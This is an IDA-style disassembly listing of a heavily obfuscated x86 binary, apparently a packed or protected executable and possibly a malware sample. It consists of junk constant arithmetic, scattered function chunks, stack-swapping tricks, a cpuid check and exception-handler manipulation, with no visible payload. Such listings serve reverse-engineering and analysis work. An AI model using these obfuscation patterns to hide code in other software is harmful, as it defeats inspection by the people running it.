; START	OF FUNCTION CHUNK FOR sub_4291A3


loc_424159:				; CODE XREF: sub_429766-E2Dj
					; sub_4291A3+Fj ...
		jo	loc_427F1B
		cmp	ds:dword_425154, 0
		jnz	loc_42E1E2
		call	sub_425BFC
		jmp	loc_427F07
; END OF FUNCTION CHUNK	FOR sub_4291A3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D002


loc_424176:				; CODE XREF: sub_42D002:loc_42E233j
		call	sub_42F8F6


loc_42417B:				; CODE XREF: sub_42BB83-6BCFj
					; DATA XREF: _7hdaygc1:00423C70o
		push	eax
		push	26F6B023h
		pop	eax
		or	eax, 3F47EE14h
		test	eax, 100h
		jmp	loc_423EB3
; END OF FUNCTION CHUNK	FOR sub_42D002
; ---------------------------------------------------------------------------


loc_424193:				; CODE XREF: _7hdaygc1:0042C0C2j
		xor	eax, ebp
; START	OF FUNCTION CHUNK FOR sub_4268D9


loc_424195:				; CODE XREF: sub_4268D9:loc_42C0B1j
		rol	edi, 0Dh
		cmp	edi, 290867A2h
		jmp	loc_42F66D
; END OF FUNCTION CHUNK	FOR sub_4268D9
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EF91


loc_4241A3:				; CODE XREF: sub_42EF91:loc_426F7Dj
		add	ecx, 890F554Bh
		xchg	ecx, [esp+0]
		push	ecx
		pushf
		push	6D567819h
		jmp	loc_42F9A5
; END OF FUNCTION CHUNK	FOR sub_42EF91
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_4241B8:				; CODE XREF: sub_42AFFE:loc_4281BAj
		pop	eax
		or	eax, 11D6F64Eh
		rol	eax, 7
		add	eax, 4C2DF67h
		jmp	loc_4255CC
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; ---------------------------------------------------------------------------
		cmp	ebx, 522B8DCDh
		jmp	loc_427F32
; ---------------------------------------------------------------------------


loc_4241D8:				; CODE XREF: _7hdaygc1:loc_425CBBj
					; _7hdaygc1:0042FDB7j
		call	sub_42D757
		mov	edx, 64EFA9EDh
		push	edi
		call	loc_427F84
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_4241E8:				; CODE XREF: sub_4232DA+6451j
		jmp	nullsub_162
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_4241ED:				; CODE XREF: sub_4241F3+AFj
		jmp	loc_426E65
; END OF FUNCTION CHUNK	FOR sub_4241F3
; ---------------------------------------------------------------------------

locret_4241F2:				; CODE XREF: _7hdaygc1:0042C5F6j
		retn

; =============== S U B	R O U T	I N E =======================================



sub_4241F3	proc near		; CODE XREF: sub_424963:loc_42C1B9j
					; _7hdaygc1:0042CA14p

var_4		= dword	ptr -4

; FUNCTION CHUNK AT 004241ED SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042427E SIZE 00000029 BYTES
; FUNCTION CHUNK AT 00426E65 SIZE 00000006 BYTES
; FUNCTION CHUNK AT 0042B107 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042B77C SIZE 0000000E BYTES
; FUNCTION CHUNK AT 0042B985 SIZE 00000005 BYTES

		xchg	edi, [esp+0]
		pop	edi
		push	edx
		push	31B17149h


loc_4241FD:				; CODE XREF: _7hdaygc1:00424990j
		jmp	loc_42B985
sub_4241F3	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C7F3


loc_424202:				; CODE XREF: sub_42C7F3:loc_429203j
		mov	ecx, [ebp-30h]
		call	sub_42A94C
		mov	edx, [ebp-4]
		push	8A67EF81h
		pop	eax
		add	eax, 0AF15B94Fh
		or	eax, 93464CF6h
		jmp	loc_429576
; END OF FUNCTION CHUNK	FOR sub_42C7F3
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424AE1


loc_424224:				; CODE XREF: sub_424AE1:loc_42B3D5j
		jz	loc_428DCA
		jmp	loc_42990A
; END OF FUNCTION CHUNK	FOR sub_424AE1
; ---------------------------------------------------------------------------


loc_42422F:				; CODE XREF: _7hdaygc1:00429C97j
		jnz	loc_429C69
		jmp	loc_42F1BB
; ---------------------------------------------------------------------------
		push	offset loc_42F340
		jmp	locret_4231DD
; ---------------------------------------------------------------------------


loc_424244:				; DATA XREF: sub_424494+2D9Fo
		pop	ebp
		push	ds:dword_42515C
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4273CA


loc_42424C:				; CODE XREF: sub_4273CA-1D0Cj
		jmp	loc_42C7D4
; END OF FUNCTION CHUNK	FOR sub_4273CA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DDB


loc_424251:				; CODE XREF: sub_423DDB+BEAFj
		call	sub_42EF91


loc_424256:				; CODE XREF: _7hdaygc1:004256DBj
		jmp	loc_42F74A
; END OF FUNCTION CHUNK	FOR sub_423DDB
; ---------------------------------------------------------------------------


loc_42425B:				; CODE XREF: _7hdaygc1:00425043j
		jmp	loc_42C0C7
; ---------------------------------------------------------------------------
		push	edi
		jmp	sub_42DB44
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4232DA


loc_424266:				; CODE XREF: sub_4232DA+1Ej
		jnz	loc_4231DE
		ror	edi, 9
		or	ebx, 0F42BBE8Eh
		xchg	ebp, [esi]
		and	edx, eax
		jmp	loc_4231DE
; END OF FUNCTION CHUNK	FOR sub_4232DA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4241F3


loc_42427E:				; CODE XREF: sub_4241F3:loc_42B985j
		xchg	ebx, [esp+4+var_4]
		mov	edx, ebx
		pop	ebx
		or	edx, 7C990968h
		and	edx, 74938F8h
		xor	edx, 778A5942h
		and	edx, 7F970362h
		cmp	edx, 0DF6D7AB4h
		jmp	loc_4241ED
; END OF FUNCTION CHUNK	FOR sub_4241F3
; ---------------------------------------------------------------------------


loc_4242A7:				; CODE XREF: _7hdaygc1:00426A99j
		call	sub_42EBFB


loc_4242AC:				; CODE XREF: _7hdaygc1:0042B711j
		jmp	loc_429ECB
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42F3C8


loc_4242B1:				; CODE XREF: sub_42F3C8-97B6j
		jmp	loc_42EA29
; END OF FUNCTION CHUNK	FOR sub_42F3C8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425339


loc_4242B6:				; CODE XREF: sub_425339+40D4j
		jz	loc_42DDE3
		mov	ecx, [ebx+ecx+0Ch]
		or	ecx, ecx
		jz	loc_42DDE3
		mov	edx, [ebx+ecx]
		xor	edx, [ebx+ecx+4]
		cmp	edx, 7C61090Eh
		jz	loc_42ADA9
		jmp	loc_42DE46
; END OF FUNCTION CHUNK	FOR sub_425339

; =============== S U B	R O U T	I N E =======================================



sub_4242E0	proc near		; CODE XREF: sub_426130:loc_42C933p
					; _7hdaygc1:0042ED0Cj

; FUNCTION CHUNK AT 00429C9C SIZE 00000020 BYTES
; FUNCTION CHUNK AT 0042C98B SIZE 00000005 BYTES

		xchg	esi, [esp+0]
		pop	esi
		push	eax
		push	1F6E80F8h
		jmp	loc_42C98B
sub_4242E0	endp

; ---------------------------------------------------------------------------


loc_4242EF:				; CODE XREF: _7hdaygc1:00426848j
		jz	loc_4293BF
		jmp	loc_42A624
; ---------------------------------------------------------------------------


loc_4242FA:				; DATA XREF: sub_4260B4+7BF5o
		pop	ebp
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424A2B


loc_4242FC:				; CODE XREF: sub_42D245:loc_429B19j
					; sub_424A2B:loc_42F2DFj
		mov	eax, [ebp-0Ch]
		movzx	eax, byte ptr [eax]
		add	[ebp-8], eax
		mov	eax, [ebp-8]
		jmp	loc_4250CB
; END OF FUNCTION CHUNK	FOR sub_424A2B
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_96. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BE63


loc_42430E:				; CODE XREF: sub_42BE63+15j
		jmp	loc_42AC35
; END OF FUNCTION CHUNK	FOR sub_42BE63
; ---------------------------------------------------------------------------
		cmp	edx, 811EF56h
		jmp	loc_4273AC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42431E:				; CODE XREF: sub_42BB83-6CC6j
		or	esi, 0FACE2AB0h
		rol	esi, 12h
		add	esi, 54630D1Eh
		rol	esi, 0Fh
		xor	esi, 862E8805h
		jmp	loc_426E5B
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424494


loc_42433B:				; CODE XREF: sub_424494:loc_42EF72j
		call	nullsub_3
		call	sub_42D757
		mov	edx, 0CF0182F6h
		call	sub_42C763
		mov	ds:dword_42515C, eax
		jmp	loc_42EA57
; END OF FUNCTION CHUNK	FOR sub_424494

; =============== S U B	R O U T	I N E =======================================



sub_424359	proc near		; CODE XREF: sub_425F27-939j

var_8		= dword	ptr -8

; FUNCTION CHUNK AT 00426DF5 SIZE 0000000E BYTES
; FUNCTION CHUNK AT 00428215 SIZE 00000005 BYTES

		push	ebp
		xchg	ebx, ecx


loc_42435C:				; CODE XREF: sub_42616B:loc_42A41Cj
		push	ecx
		push	0D7DE4B31h
		pop	ecx
		and	ecx, 0CC71CDC0h
		jmp	loc_426DF5
sub_424359	endp

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFFE


loc_42436E:				; CODE XREF: sub_42F642:loc_425113j
					; sub_42AFFE:loc_425125j
		xor	esi, 52179AC1h
		add	esi, 0B804390h
		push	offset loc_42CA95
		jmp	loc_427C98
; END OF FUNCTION CHUNK	FOR sub_42AFFE
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_149. PRESS KEYPAD	"+" TO EXPAND]

; =============== S U B	R O U T	I N E =======================================



sub_424385	proc near		; CODE XREF: sub_42B942:loc_424716p
					; _7hdaygc1:004267AFj
		xchg	eax, [esp+0]
		pop	eax
		push	edi
		mov	edi, ebp
		xchg	edi, [esp+0]
		mov	ebp, esp
		jmp	sub_423B20
sub_424385	endp

; ---------------------------------------------------------------------------
		mov	esi, 19C46950h
		jmp	sub_42E5AE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_4243A0:				; CODE XREF: sub_42E283:loc_426E23j
					; sub_42E283-49DDj
		push	edx
		push	80E82AC4h
		pop	edx
		add	edx, 539E05Dh
		jmp	loc_42EB52
; END OF FUNCTION CHUNK	FOR sub_42E283
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_4243B2:				; CODE XREF: sub_424744:loc_42F941j
					; _7hdaygc1:0042F95Cj
		sub	esi, 623E4F3Ch
		xor	esi, 964D970Eh
		cmp	esi, 8217E901h
		jmp	loc_42BC6D
; END OF FUNCTION CHUNK	FOR sub_424744
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4291EA


loc_4243C9:				; CODE XREF: sub_4291EA+ED1j
		mov	ecx, esi
		pop	esi
		retn	0Ch
; END OF FUNCTION CHUNK	FOR sub_4291EA
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C369


loc_4243CF:				; CODE XREF: sub_42C369-600Dj
		jmp	nullsub_93
; END OF FUNCTION CHUNK	FOR sub_42C369
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_208. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423648


loc_4243D5:				; CODE XREF: sub_423648+A00Ej
		cmp	dword ptr [ebp-8], 0
		jz	loc_423652


loc_4243DF:				; CODE XREF: sub_423648+4j
					; sub_423648:loc_42EC57j
		jz	loc_428B85
		cmp	dword ptr [ebp-1Ch], 0Fh
		jnz	loc_42F13C
		mov	eax, [ebp-1Ch]
		jmp	loc_42CADC
; END OF FUNCTION CHUNK	FOR sub_423648
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AFB3


loc_4243F7:				; CODE XREF: sub_42AFB3+7j
		mov	esp, [esp+arg_4]


loc_4243FB:				; CODE XREF: _7hdaygc1:00423715j
					; _7hdaygc1:00423721j ...
		xor	eax, eax


loc_4243FD:				; CODE XREF: _7hdaygc1:loc_428F4Dj
					; _7hdaygc1:0042E39Fj
		pop	large dword ptr	fs:0
		pop	edx
		jmp	loc_423CF7
; END OF FUNCTION CHUNK	FOR sub_42AFB3
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_152. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_42440B:				; CODE XREF: sub_423DFC+87Fj
		jmp	loc_423B9F
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_424410:				; CODE XREF: sub_42CDF7-111Ej
		jz	loc_424C5A


loc_424416:				; CODE XREF: sub_42F0D1-1BDEj
		jmp	nullsub_2
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BAE7


loc_42441B:				; CODE XREF: sub_42BAE7+12j
		jmp	loc_423BC9
; END OF FUNCTION CHUNK	FOR sub_42BAE7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E4D7


loc_424420:				; CODE XREF: sub_42E4D7-5244j
		jmp	sub_42D757
; END OF FUNCTION CHUNK	FOR sub_42E4D7
; ---------------------------------------------------------------------------
		cmp	ecx, 0F1D87A6Fh
		jmp	loc_42C281
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_93. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42CDF7


loc_424431:				; CODE XREF: sub_42CDF7+1Fj
		jmp	loc_42EEAC
; END OF FUNCTION CHUNK	FOR sub_42CDF7
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B470


loc_424436:				; CODE XREF: sub_42B470+9j
		jmp	loc_42629B
; END OF FUNCTION CHUNK	FOR sub_42B470
; ---------------------------------------------------------------------------
		jmp	loc_42FADC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EB0D


loc_424440:				; CODE XREF: sub_42EB0D-8036j
		mov	eax, [eax+60h]
		add	eax, [ebp-4]
		mov	[ebp-14h], eax
		mov	eax, [ebp-14h]
		mov	eax, [eax+18h]
		jmp	loc_42BB76
; END OF FUNCTION CHUNK	FOR sub_42EB0D
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42AA11


loc_424454:				; CODE XREF: sub_42AA11:loc_42B995j
		xchg	edi, [esp+0]
		mov	[ebp-4], eax
		mov	eax, offset dword_42BC4C
		push	eax
		push	9CCD22ABh
		mov	eax, ebx
		jmp	loc_42912C
; END OF FUNCTION CHUNK	FOR sub_42AA11
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B265


loc_42446C:				; CODE XREF: sub_42B265+Bj
		push	5A7A6AD6h
		pop	ebx
		rol	ebx, 8
		and	ebx, 0D4271C44h
		sub	ebx, 0FA6085A5h
		and	ebx, 466EB20Dh
		add	ebx, 297A1244h
		jmp	loc_42A617
; END OF FUNCTION CHUNK	FOR sub_42B265
; ---------------------------------------------------------------------------


loc_424492:				; CODE XREF: _7hdaygc1:0042945Bj
		add	eax, ecx

; =============== S U B	R O U T	I N E =======================================



sub_424494	proc near		; CODE XREF: sub_42567E-DAEp

; FUNCTION CHUNK AT 0042433B SIZE 0000001E BYTES
; FUNCTION CHUNK AT 00427227 SIZE 00000016 BYTES
; FUNCTION CHUNK AT 0042EA57 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EF72 SIZE 00000005 BYTES

		xchg	ecx, [esp+0]
		pop	ecx
		cmp	ds:dword_42515C, 0
		jnz	loc_427227
		jmp	loc_42EF72
sub_424494	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428B5B


loc_4244AA:				; CODE XREF: sub_428B5B-39ADj
		jo	loc_424BC3
; END OF FUNCTION CHUNK	FOR sub_428B5B
; START	OF FUNCTION CHUNK FOR sub_424680


loc_4244B0:				; CODE XREF: _7hdaygc1:loc_426696j
					; sub_424E9C:loc_42A745j ...
		push	offset loc_42A565
		jmp	nullsub_48
; END OF FUNCTION CHUNK	FOR sub_424680
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42E283


loc_4244BA:				; CODE XREF: sub_42E283:loc_42E53Dj
		push	esi
		push	7DFBB1C4h
		pop	esi
		rol	esi, 1Fh
		xor	esi, 0BDF25A8Dh
		add	ebp, esi
		push	offset loc_427012
		jmp	nullsub_90
; END OF FUNCTION CHUNK	FOR sub_42E283
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_62. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_4244D7:				; CODE XREF: sub_42B74A:loc_423013j
					; sub_42B74A-83AAj
		mov	eax, 400h
		call	sub_42828C
		push	ebx
		push	0F6AD9FD0h
		sbb	ebx, 0F59D3675h
		jmp	loc_42D066
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42A833


loc_4244F2:				; CODE XREF: sub_42A833+9j
		push	offset loc_424DE3
		jmp	nullsub_40
; END OF FUNCTION CHUNK	FOR sub_42A833
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424E42


loc_4244FC:				; CODE XREF: sub_424E42:loc_427DBBj
		pushf
		push	38A3EDC0h
		pop	edi
		or	edi, 35B50895h
		jmp	loc_42ABC4
; END OF FUNCTION CHUNK	FOR sub_424E42

; =============== S U B	R O U T	I N E =======================================



sub_42450E	proc near		; DATA XREF: sub_425752:loc_42F587o

; FUNCTION CHUNK AT 00424FD0 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426104 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 00426C72 SIZE 00000023 BYTES
; FUNCTION CHUNK AT 004284BB SIZE 0000000D BYTES
; FUNCTION CHUNK AT 0042D2A5 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042D2DD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042F460 SIZE 00000005 BYTES

		add	eax, 8000h
		push	eax
		push	0
		push	0
		push	eax
		push	677BA0F3h
		pop	eax
		jmp	loc_426C72
sub_42450E	endp

; [00000001 BYTES: COLLAPSED FUNCTION nullsub_23. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42911B


loc_424525:				; CODE XREF: sub_42911B+2711j
		jmp	loc_42A2B1
; END OF FUNCTION CHUNK	FOR sub_42911B
; ---------------------------------------------------------------------------


loc_42452A:				; CODE XREF: _7hdaygc1:0042464Bj
		js	loc_42CD70
		or	ebp, 2F6477D6h
		jmp	loc_42CD6A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B650


loc_42453B:				; CODE XREF: sub_42B650:loc_42B260j
		mov	ebp, esp
		add	esp, 0FFFFFFF8h
		call	sub_42ECAF
; END OF FUNCTION CHUNK	FOR sub_42B650
; START	OF FUNCTION CHUNK FOR sub_429766


loc_424545:				; CODE XREF: sub_429766:loc_429777j
		jmp	loc_428926
; END OF FUNCTION CHUNK	FOR sub_429766
; ---------------------------------------------------------------------------

locret_42454A:				; CODE XREF: _7hdaygc1:00429D49j
		retn
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42C443


loc_42454B:				; CODE XREF: sub_42C443+248Ej
		ja	loc_4287A1


loc_424551:				; CODE XREF: sub_42C443:loc_42CD34j
		mov	edi, eax
		mov	eax, 80000001h
		xor	edx, edx
		cpuid
		and	eax, 0FFFh
		add	[esi], eax
		xor	[esi], edx
		jmp	loc_424AA3
; END OF FUNCTION CHUNK	FOR sub_42C443
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42D5F1


loc_42456A:				; CODE XREF: sub_42D5F1+Fj
		push	offset loc_42A6AD
		jmp	loc_426AE7
; END OF FUNCTION CHUNK	FOR sub_42D5F1
; ---------------------------------------------------------------------------


loc_424574:				; CODE XREF: _7hdaygc1:0042BE57j
		push	offset loc_428B17
		jmp	locret_42F372
; ---------------------------------------------------------------------------


loc_42457E:				; CODE XREF: _7hdaygc1:00426923j
		mov	ebp, esp
		push	ebp
		push	ecx
		pop	ebp
		jmp	loc_42B705

; =============== S U B	R O U T	I N E =======================================



sub_424588	proc near		; CODE XREF: _7hdaygc1:00423315j
					; _7hdaygc1:0042F38Dp
		xchg	ecx, [esp+0]
		pop	ecx
		mov	eax, [eax]
		jmp	loc_425C43
sub_424588	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4270E6


loc_424593:				; CODE XREF: sub_4270E6:loc_42FCC0j
		mov	eax, offset dword_428388
		mov	[ebp-4], eax
		push	ebx
		push	0B42A972Bh
		jmp	loc_42D06C
; END OF FUNCTION CHUNK	FOR sub_4270E6
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBC8


loc_4245A6:				; CODE XREF: sub_42EBC8:loc_4252DDj
		add	edx, ebp
		call	sub_42926C


loc_4245AD:				; CODE XREF: _7hdaygc1:00429C74j
		jmp	nullsub_202
; END OF FUNCTION CHUNK	FOR sub_42EBC8
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42409E


loc_4245B2:				; CODE XREF: sub_42409E+Dj
		jmp	loc_425EC5
; END OF FUNCTION CHUNK	FOR sub_42409E
; ---------------------------------------------------------------------------
		sbb	edi, ecx
		jmp	loc_42951B
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42EBC8


loc_4245BE:				; CODE XREF: sub_42EBC8+9j
		push	edx
		push	6A7357Ch
		pop	edx
		and	edx, 0C4BF7A00h
		or	edx, 678A927Fh
		sub	edx, 0AF8013D6h
		or	edx, ds:4000F0h


loc_4245DD:				; CODE XREF: sub_426064-2092j
		xor	edx, 0ED5DFD8Bh
		jmp	loc_4252DD
; END OF FUNCTION CHUNK	FOR sub_42EBC8
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_209. PRESS KEYPAD	"+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424744


loc_4245E9:				; CODE XREF: sub_424744:loc_42895Bj
		jz	loc_42E150
		jmp	loc_428EC7
; END OF FUNCTION CHUNK	FOR sub_424744
; [00000001 BYTES: COLLAPSED FUNCTION nullsub_25. PRESS	KEYPAD "+" TO EXPAND]
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_4288FE


loc_4245F5:				; CODE XREF: sub_4288FE:loc_42648Ej
		rol	eax, 1Fh
		xor	eax, 9F5F2354h
		and	eax, 1B6FCBC7h
		xor	eax, 196B0B03h
		push	offset loc_426F37
		jmp	loc_42896E
; END OF FUNCTION CHUNK	FOR sub_4288FE
; ---------------------------------------------------------------------------
		push	56148A89h
		pop	eax
		rol	eax, 16h
		add	eax, 0B66137DCh
		add	eax, ebp
		add	eax, 0A74942E6h
		mov	eax, [eax]
		push	eax
		jmp	loc_42463E
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429318


loc_424633:				; CODE XREF: sub_429318-3E1Ej
		jnz	loc_42F895
		jmp	loc_423F28
; END OF FUNCTION CHUNK	FOR sub_429318
; ---------------------------------------------------------------------------


loc_42463E:				; CODE XREF: _7hdaygc1:0042462Ej
		push	ecx
		push	0B1F780h
		pop	ecx
		xor	ecx, 89CBC897h
		jmp	loc_42452A
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425E64


loc_424650:				; CODE XREF: sub_425E64+7CCAj
		push	eax
		push	0
		call	sub_42E29B
		retn
; END OF FUNCTION CHUNK	FOR sub_425E64
; ---------------------------------------------------------------------------


loc_424659:				; CODE XREF: _7hdaygc1:004292BCj
		jmp	loc_42BAFE
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42BB83


loc_42465E:				; CODE XREF: sub_42BB83-EB4j
		push	0
		jmp	loc_42BE07
; END OF FUNCTION CHUNK	FOR sub_42BB83
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_424665:				; CODE XREF: sub_423DFC:loc_42A0E0j
		pop	eax
		xor	eax, 0B1EE93D2h
		add	eax, 60F54834h
		rol	eax, 1Fh
		test	eax, 400h
		jmp	loc_42440B
; END OF FUNCTION CHUNK	FOR sub_423DFC

; =============== S U B	R O U T	I N E =======================================



sub_424680	proc near		; CODE XREF: sub_42581B:loc_42844Dp
					; _7hdaygc1:0042D7F9j

arg_4		= dword	ptr  8

; FUNCTION CHUNK AT 004244B0 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 004258C3 SIZE 00000012 BYTES
; FUNCTION CHUNK AT 00426196 SIZE 00000013 BYTES
; FUNCTION CHUNK AT 0042725C SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00428BA9 SIZE 0000002B BYTES
; FUNCTION CHUNK AT 0042AB47 SIZE 0000000B BYTES
; FUNCTION CHUNK AT 0042C889 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042EAC9 SIZE 00000013 BYTES

		xchg	edx, [esp+0]
		pop	edx
		pop	ecx
		shl	eax, 7
		mov	edx, [ebp+8]
		mov	edx, [edx-8]
		or	edx, 40h
		jmp	loc_426196
sub_424680	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
		or	eax, 901FD032h	; DATA XREF: _7hdaygc1:00427E8Fr
		dec	edi
; START	OF FUNCTION CHUNK FOR sub_424B63


loc_42469C:				; CODE XREF: sub_424B63+9F9Aj
		jmp	loc_42906C
; END OF FUNCTION CHUNK	FOR sub_424B63
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_423DFC


loc_4246A1:				; CODE XREF: sub_423DFC+5BCAj
		jmp	loc_42D992
; END OF FUNCTION CHUNK	FOR sub_423DFC
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428917


loc_4246A6:				; CODE XREF: sub_428917+Aj
		jmp	nullsub_18
; END OF FUNCTION CHUNK	FOR sub_428917
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B74A


loc_4246AB:				; CODE XREF: sub_42B74A-345Cj
		jmp	loc_42D34C
; END OF FUNCTION CHUNK	FOR sub_42B74A
; ---------------------------------------------------------------------------
		dd 0A65CBE41h
dword_4246B4	dd 41F2006Bh						; sub_424F62+7580w
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_428E56


loc_4246B8:				; CODE XREF: sub_428E56+49EFj
		jmp	loc_427FD7
; END OF FUNCTION CHUNK	FOR sub_428E56
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_425BFC


loc_4246BD:				; CODE XREF: sub_425BFC+694Cj
		jmp	nullsub_120
; END OF FUNCTION CHUNK	FOR sub_425BFC
; ---------------------------------------------------------------------------


loc_4246C2:				; CODE XREF: _7hdaygc1:0042C1FEj
		jmp	loc_42DFD0
; ---------------------------------------------------------------------------
		db 43h
dword_4246C8	dd 0CF7C80B4h	; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_429968


loc_4246CC:				; CODE XREF: sub_429968+9j
		jmp	loc_4237ED
; END OF FUNCTION CHUNK	FOR sub_429968
; ---------------------------------------------------------------------------


loc_4246D1:				; CODE XREF: _7hdaygc1:0042BB71j
		jo	loc_4235F8

; =============== S U B	R O U T	I N E =======================================



sub_4246D7	proc near		; CODE XREF: sub_42F05E-4A25p

; FUNCTION CHUNK AT 00424DD9 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 00424E97 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 004253EA SIZE 00000005 BYTES
; FUNCTION CHUNK AT 00426625 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 004286AD SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042988F SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042CE42 SIZE 00000018 BYTES
; FUNCTION CHUNK AT 0042D6B7 SIZE 00000024 BYTES

		xchg	edx, [esp+0]
		pop	edx
		jnz	loc_42D6C5
		mov	eax, [ebp+8]
		mov	eax, [eax-8]
		or	eax, 8
		jmp	loc_42988F
sub_4246D7	endp ; sp-analysis failed

; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_424CE0


loc_4246EF:				; CODE XREF: sub_424CE0+A10Dj
		call	sub_42A94C
		mov	edx, [ebp-4]
		push	5F9CFBD0h
		pop	eax
		rol	eax, 1
		and	eax, 0F5123B52h
		xor	eax, 1B537181h
		add	eax, 0B6172C00h
		jmp	loc_425048
; END OF FUNCTION CHUNK	FOR sub_424CE0
; ---------------------------------------------------------------------------
; START	OF FUNCTION CHUNK FOR sub_42B942


loc_424716:				; CODE XREF: sub_42B942:loc_42BA9Aj
		call	sub_424385
; END OF FUNCTION CHUNK	FOR sub_42B942
; START	OF FUNCTION CHUNK FOR sub_427EF6


loc_42471B:				; CODE XREF: sub_427EF6-2CBDj
		jnz	loc_427FC7
		jmp	loc_42CDB6
